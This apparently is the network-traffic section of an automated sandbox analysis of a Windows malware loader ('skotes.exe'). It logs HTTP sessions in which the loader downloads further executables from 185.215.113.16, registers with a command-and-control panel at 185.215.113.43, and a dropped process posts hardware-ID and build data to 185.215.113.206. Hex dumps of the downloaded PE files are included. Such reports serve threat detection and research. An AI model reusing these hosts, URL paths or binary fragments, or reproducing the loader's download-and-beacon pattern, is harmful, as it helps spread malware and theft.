31 30 30 32 36 30 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002605001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002606001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002607001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002608001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	185.215.113.16	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:49.568629026 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 12:36:50.651283979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:50 GMT Content-Type: application/octet-stream Content-Length: 3016704 Last-Modified: Wed, 30 Oct 2024 11:23:58 GMT Connection: keep-alive ETag: "6722174e-2e0800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 31 00 00 04 00 00 0b 65 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ1@@1e.@Th@ ~@.rsrc@@.idata @rfqiwnzuP+N+@lwhxfubc1-@.taggant01"-@
Oct 30, 2024 12:36:50.651300907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:50.651319981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:50.651329994 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:50.651340961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 5d 4c 0f aa b4 19 ad 3b 56 d2 aa 43 be c5 45 57 e8 08 42 e0 a1 e7 0c 33 bb d7 1d d4 94 d3 f0 6b 2b dc 2c e0 5b d5 14 6c ed a2 49 1e e1 9b 39 0d 61 ca 4f df 64 0a 6d 28 d2 e7 45 f6 Data Ascii: ]L;VCEWB3k+,[lI9aOdm(E{kg`B N0EOT>(IfOA0u,j_V+}?{M62!76K)yRPHdF[NmM:M<)-HIG#S#[^\P,6,]
Oct 30, 2024 12:36:50.651351929 CET	1236	IN	Data Raw: e3 6a 84 0a 33 99 99 1b e6 9d 5c cc 14 a3 88 2d 1c 5e ff e1 2a 87 eb 06 d4 5a bf 14 e3 0f 77 1c 10 b3 6e 1b 61 1c d3 d4 88 fd 17 d7 43 da 69 9e b3 6a 8e d7 1f 42 6e d4 c6 e3 cf c7 51 5f e1 90 a1 8b c5 cf af 83 05 81 33 49 00 bd 4d c0 e0 ff d8 60 Data Ascii: j3\-^*ZwnaCijBnQ_3IM`_(Ya}1N0-l9Qva%yVETw]/3H8]M^,{yo7r3lwa3A3arixkZT9RJx$g~NCF[~Tw!
Oct 30, 2024 12:36:50.651362896 CET	1236	IN	Data Raw: 6a 90 28 39 1e 58 2b f0 b9 e7 9a 5b 5c 9d 6b 5c 49 e8 a9 db f2 e0 82 41 34 a3 a6 e7 fd 6d 70 ae 36 89 67 7b 0e 55 f8 88 de 3f f1 27 f3 95 3e 9d 56 ef ef 3b 2e 5b df 6b 89 ae 91 15 b4 63 80 96 3a 52 9c 86 5c 2f 7e ee 93 5e 13 72 8c 6b c5 9c 53 98 Data Ascii: j(9X+[\k\IA4mp6g{U?'>V;.[kc:R\/~^rkS[g.nq36HV~bFbG)w+g0U?Dj}r#BiA'-%#J,(lEo$j-D_wttcy/]LBKhQr$[P_\GE'3{ZL?
Oct 30, 2024 12:36:50.651374102 CET	1236	IN	Data Raw: ec 82 a0 04 db 5e a6 79 f7 80 85 c6 67 18 82 c5 d1 77 bc 73 5d 8c 73 f3 2c 98 1d fd fc cc 4f 00 7e 28 3c 61 5a a3 e0 bd 46 2f 07 55 16 59 de 8a fc e5 86 92 6c 4b 65 4b 32 1b 6a 25 3a 88 71 db 41 e3 af df 83 7f 7d 55 7a 37 ec c6 36 ce 1b ad cf e6 Data Ascii: ^ygws]s,O~(<aZF/UYlKeK2j%:qA}Uz76X-l ,.f8Y9iVo&jV"3P{:7I09:-+.phU,CQ?JC3PO57oGv2N[7m79!d&cZVr>U<O
Oct 30, 2024 12:36:50.651384115 CET	1236	IN	Data Raw: 5a cb b6 32 52 df c5 27 5a 79 be d7 a4 63 a3 19 4d 87 71 0b 43 f9 9a 8f 52 9d 8d ec 58 70 ab 2b f0 6d 8d 35 52 6d 22 e4 32 40 f5 ec dd 13 8e 65 53 d1 90 ef b6 b0 91 d3 08 fa 74 92 83 24 1e 55 01 ea a5 f1 24 6a b4 f0 d9 84 20 ae 77 87 01 4f 3a a4 Data Ascii: Z2R'ZycMqCRXp+m5Rm"2@eSt$U$j wO:58AYj8=vsNH8`yWPoni's9vvU%GGJ~G/W0[C.Kla,6vVKeC_>yo.{QeY$v&
Oct 30, 2024 12:36:50.651395082 CET	460	IN	Data Raw: 63 c9 9f c5 f1 6c a2 ce 2c 4c 7e 7b 3c a2 b0 85 c2 43 34 5e bf 67 15 1e fc 6a c1 fc 95 68 45 a8 64 df ce d7 8a 34 7c 1b 03 d3 59 da 38 c5 14 d6 d7 64 69 cf 53 bd 20 11 48 30 ca dc 32 17 3d f6 61 e9 72 d9 87 9a 97 11 cd 0c 98 f7 a5 d9 39 b4 64 5d Data Ascii: cl,L~{<C4^gjhEd4\|Y8diS H02=ar9d]68e; Dekst,-G3zZ7kv2p%ak5{}XT1DVDBnfT\|?W&^e6lUyy9Fb]S4d59XB%kf>8Bma6/@cFB
Oct 30, 2024 12:36:50.651412010 CET	1236	IN	Data Raw: 25 d6 ad 0d d2 d6 b8 9b f2 01 da 22 50 30 cf d7 03 1b e0 0e 04 2d 59 2f 2f 22 d2 5d 47 b3 81 1f 75 39 10 ba 00 6a d8 6a e1 bb 6e c7 4d b2 e3 ff 06 80 1d ee f2 f7 62 88 23 b5 e4 9c 53 ef ee cc a9 5b 9b 46 f1 55 44 bf 7a ba 3e 3b 72 2e 75 8f eb ca Data Ascii: %"P0-Y//"]Gu9jjnMb#S[FUDz>;r.ue2H`lm9veoa.6#QE&YrM[oyBs`Gosi_s-[WnL9jz;+5Y1-:S!>2^;,wuD)Ic\|t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49749	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:54.274156094 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002605001&unit=246122658369
Oct 30, 2024 12:36:55.195380926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	185.215.113.16	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:55.204385996 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 12:36:56.134186983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:55 GMT Content-Type: application/octet-stream Content-Length: 2136064 Last-Modified: Wed, 30 Oct 2024 11:24:11 GMT Connection: keep-alive ETag: "6722175b-209800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 a5 3b 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r;!@P.d. p.v@.rsrc .@.idata .@ *.@eysgbrhcX@qcadwkizrr @.taggant0r"v @
Oct 30, 2024 12:36:56.134455919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:56.134490967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:56.134510040 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:56.134526968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 07 67 a7 f6 1a 27 23 ff 6b 56 24 16 6a 19 2d d0 f7 d0 19 bd eb 41 e1 28 23 99 29 ad df 51 ad bc b2 62 fe cc 66 67 0d d7 f7 c2 cf ee 7d df 39 74 96 51 56 c8 aa 51 d7 c5 78 13 0c cb Data Ascii: 0g'#kV$j-A(#)Qbfg}9tQVQxy[+~UVmd>S#h"Db ),[8Mo`MYK>J0ZCEX+i-(''rXH]",S_ BOgp%h]ny`(M@ZhD>5
Oct 30, 2024 12:36:56.134574890 CET	1236	IN	Data Raw: 01 e9 55 db 79 e6 ce ce 25 01 70 52 e8 aa e6 79 c3 c8 9a 75 ed be 93 b1 a3 5e 1a 5d c3 05 ab a9 a5 13 3b cd b6 9c d6 f1 61 c3 43 16 bd 25 6c da e0 d2 bb 8d 3d dd 60 7a e1 e8 8a 75 32 f3 a0 da f3 90 5d db af 9c 6c ea c9 65 d5 1e 44 cc ae 1a af 26 Data Ascii: Uy%pRyu^];aC%l=`zu2]leD&*46=.wc%H$;K()]xk^MN\|2(#~V_/d{09qbHp[m&/@R[9k36?4@PmW\r<~6`,8$
Oct 30, 2024 12:36:56.134608030 CET	424	IN	Data Raw: b9 9d be 77 e6 3d b0 9b ea 1a f7 48 ab c2 2b ee 95 17 aa 3c 38 1c 55 50 c5 5e a9 2c fe 08 4d f3 13 0e d8 59 9a 21 c0 f1 c8 f8 c8 4d 60 14 a2 7d 89 66 85 26 3a 24 05 36 99 70 17 f0 23 48 e8 e1 ca dc 24 1d e3 20 4c f5 61 d8 bc 1d 08 6c 82 ec 7b 7e Data Ascii: w=H+<8UP^,MY!M`}f&:$6p#H$ Lal{~%D=qP80D]>HH$+{ HB8f(5t8:H5\$"b,^5+08^m%5p5LtLc8#MGw^" Z
Oct 30, 2024 12:36:56.134640932 CET	1236	IN	Data Raw: 02 84 ce b9 d3 68 ba 09 3d 0d bc 39 f3 42 7b 3e 8c 17 9a f5 c0 26 34 92 81 a8 d8 19 b8 0f 4b 45 34 9c 24 e7 2b 98 9a 4e 5c 1f 70 42 c4 8f 8a 5b e0 cf a0 4e 7c 6c 19 f7 31 42 ec cb 75 ac 9a 7d da 8a b3 c9 fd 7e 20 6e ff 28 bb d6 be ec 98 f4 e2 29 Data Ascii: h=9B{>&4KE4$+N\pB[N\|l1Bu}~ n()]A$NNd>5'>/v8h!zG8wzx@CD$" Nep="I(#X+{IG*B]M"Bx(: ?lGxBQhQ<3]JnF7p#
Oct 30, 2024 12:36:56.134680986 CET	1236	IN	Data Raw: 08 0d 89 d7 6d 4e 03 7e a1 17 50 38 36 77 98 2b 9d 1f a0 33 ea 10 64 63 28 13 90 61 7b 78 b3 55 f8 a8 44 7a 25 98 d1 05 4d 17 d4 5d 7b a2 8c 01 98 10 c7 dd 25 17 30 1a 52 be 90 d6 d3 88 a0 a1 a1 69 33 47 f4 7e 8a 95 32 cc a0 e5 bf 67 e4 ec bb 38 Data Ascii: mN~P86w+3dc(a{xUDz%M]{%0Ri3G~2g8$tR^465k"&5 ,5lGwM-(& lM>q 62~c62$OOq_Nr&Bn34gv$( pUa@nx9%P
Oct 30, 2024 12:36:56.134731054 CET	1236	IN	Data Raw: 8e 5c 5b df ad 17 a8 c9 a5 0a 47 2e 74 64 00 c7 ca f8 a3 77 ea 90 cc 75 7b e8 b3 55 08 ac 54 5f 82 1c cb f1 b1 c0 b3 f5 e1 71 7d d4 88 68 2c ea 3d 6c 99 41 4d 17 1a 42 a0 9d b5 49 c4 17 bb 2d 3d 87 64 16 9e a4 e7 1d 4d 17 f0 5d bc a2 9a a9 fa c2 Data Ascii: \[G.tdwu{UT_q}h,=lAMBI-=dM]$T(Rn%Wn%5.;LBF,qN3P^ p9`rN%Np;O(`4>DJah,;OH(hVt%e.TL`~871/><0X7O5
Oct 30, 2024 12:36:56.140239000 CET	1236	IN	Data Raw: f1 ca 57 c9 42 34 b9 09 eb 8b 9e 54 50 8d 89 d9 1e bb 83 5f dd 57 ad 87 ed 56 b6 18 04 91 74 01 b1 ce a0 65 10 21 1e 4f 7b 86 ac eb db 5f a4 6a 65 ad 11 29 72 39 4a 2d 3e 24 90 2c 3c fa 73 24 a3 f3 8f 87 a5 cf f5 01 fe d5 9a 50 a0 a8 ff 31 dc 6e Data Ascii: WB4TP_WVte!O{_je)r9J->$,<s$P1nuXC1=Qz0O'NP)'W:,Mw82$Z.!k?!e"p'$%R\|(4T"egHR`7R%$@:2=h,Tgyv`Eo]48K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49755	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:59.855707884 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002606001&unit=246122658369
Oct 30, 2024 12:37:00.759773016 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49757	185.215.113.16	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:00.773222923 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 12:37:01.710031033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:01 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 10:42:19 GMT Connection: keep-alive ETag: "67220d8b-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0d 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 30, 2024 12:37:01.710114956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 30, 2024 12:37:01.710182905 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 30, 2024 12:37:01.710217953 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 30, 2024 12:37:01.710251093 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 30, 2024 12:37:01.710283995 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 30, 2024 12:37:01.710318089 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 30, 2024 12:37:01.710351944 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 30, 2024 12:37:01.710385084 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 30, 2024 12:37:01.710418940 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 30, 2024 12:37:01.716049910 CET	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49758	185.215.113.206	80	2496	C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:01.220909119 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:37:02.125927925 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:37:02.130259991 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: 